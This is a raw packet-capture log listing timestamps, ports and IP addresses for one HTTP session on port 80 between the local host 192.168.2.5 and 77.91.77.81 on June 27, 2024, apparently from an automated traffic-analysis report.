Jun 27, 2024 07:37:22.786166906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786176920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786204100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.786220074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.786286116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786294937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786323071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.786335945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.786345005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786355972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.786384106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.786400080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.788255930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788273096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788330078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788404942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788414001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788537025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788546085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788554907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788678885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788743973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788753986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788851023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788861036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788950920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.788960934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789287090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.789397955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789447069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789454937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789503098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789513111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789629936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789639950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789741993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789756060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789766073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789915085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789926052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789937019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789944887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789956093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.789966106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790071011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790081024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790122986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790133953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790143967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790155888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790411949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790421963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790431023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790441036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790450096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790465117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790690899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790700912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790709972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790720940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790730953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.790740013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791069031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791079044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791088104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791096926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791107893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791116953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791126966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791136026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791145086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791155100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791166067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791174889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791186094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791194916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791204929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791570902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791582108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791711092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791721106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791729927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791738987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791749954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791759968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791769028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.791779995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.792016029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.793520927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843502998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843517065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843527079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843537092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843585014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843599081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843604088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843617916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843631029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843652964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843827963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843838930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843847990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843858957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843869925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843875885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843885899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.843893051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843909979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.843938112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844022989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844032049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844042063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844065905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844094038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844118118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844156027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844162941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844172001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844247103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844280958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844296932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844305992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844316959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844325066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844342947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844357967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844391108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844420910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844432116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844459057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844532013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844541073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844551086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844561100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844571114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844587088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844614983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844718933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844743967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844753981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.844759941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844778061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.844794035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.874897003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.874928951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.874968052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.874975920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.874989033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875021935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875037909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875053883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875080109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875087976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875128984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875148058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875185013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875683069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875732899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875756979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875766993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875797033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875817060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875861883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875871897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875883102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875894070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.875901937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875916958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.875948906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878349066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878386021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878397942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878416061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878442049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878514051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878525019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878536940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878549099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878556013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878573895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878602028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878878117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878889084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878897905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878909111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878917933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878926992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878937006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878947973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878958941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.878964901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.878978014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879018068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879018068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879276037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879292011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879302025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879312992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879321098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879331112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879340887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879348040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879358053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879367113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879379988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879386902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879398108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879404068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879417896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879422903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879432917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879451036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879475117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879766941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879784107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879793882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879805088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879812002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879821062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879836082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.879843950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.879870892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880050898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880065918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880076885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880089045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880100965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880120993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880136013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880146027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880156994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880186081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880197048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880203009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880225897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880242109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880259991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880331039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880345106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880354881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880372047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880379915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880387068 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880395889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880405903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880414963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880430937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880440950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880448103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880460024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880467892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880500078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880510092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880520105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.880549908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.880570889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881155968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881166935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881177902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881187916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881196022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881205082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881217003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881222010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881232977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881243944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881253958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881262064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881269932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881280899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881289005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881297112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881314039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881320953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881335020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881346941 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881352901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881365061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881371975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881381989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881392956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.881400108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.881428003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.930946112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.930998087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931025028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931058884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931081057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931133986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931164980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931174040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931184053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931195974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931216002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931262016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931272030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931296110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931320906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931376934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931413889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931437016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931447983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931468964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931485891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931571960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931582928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931592941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931606054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931613922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931621075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931637049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931652069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931745052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931781054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931794882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931804895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931826115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931833029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931842089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931864977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931946993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931962013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931974888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931982994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.931991100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.931997061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932012081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932032108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932082891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932116032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.932137966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932147026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.932168961 CEST	49706	80	192.168.2.5	77.91.77.81
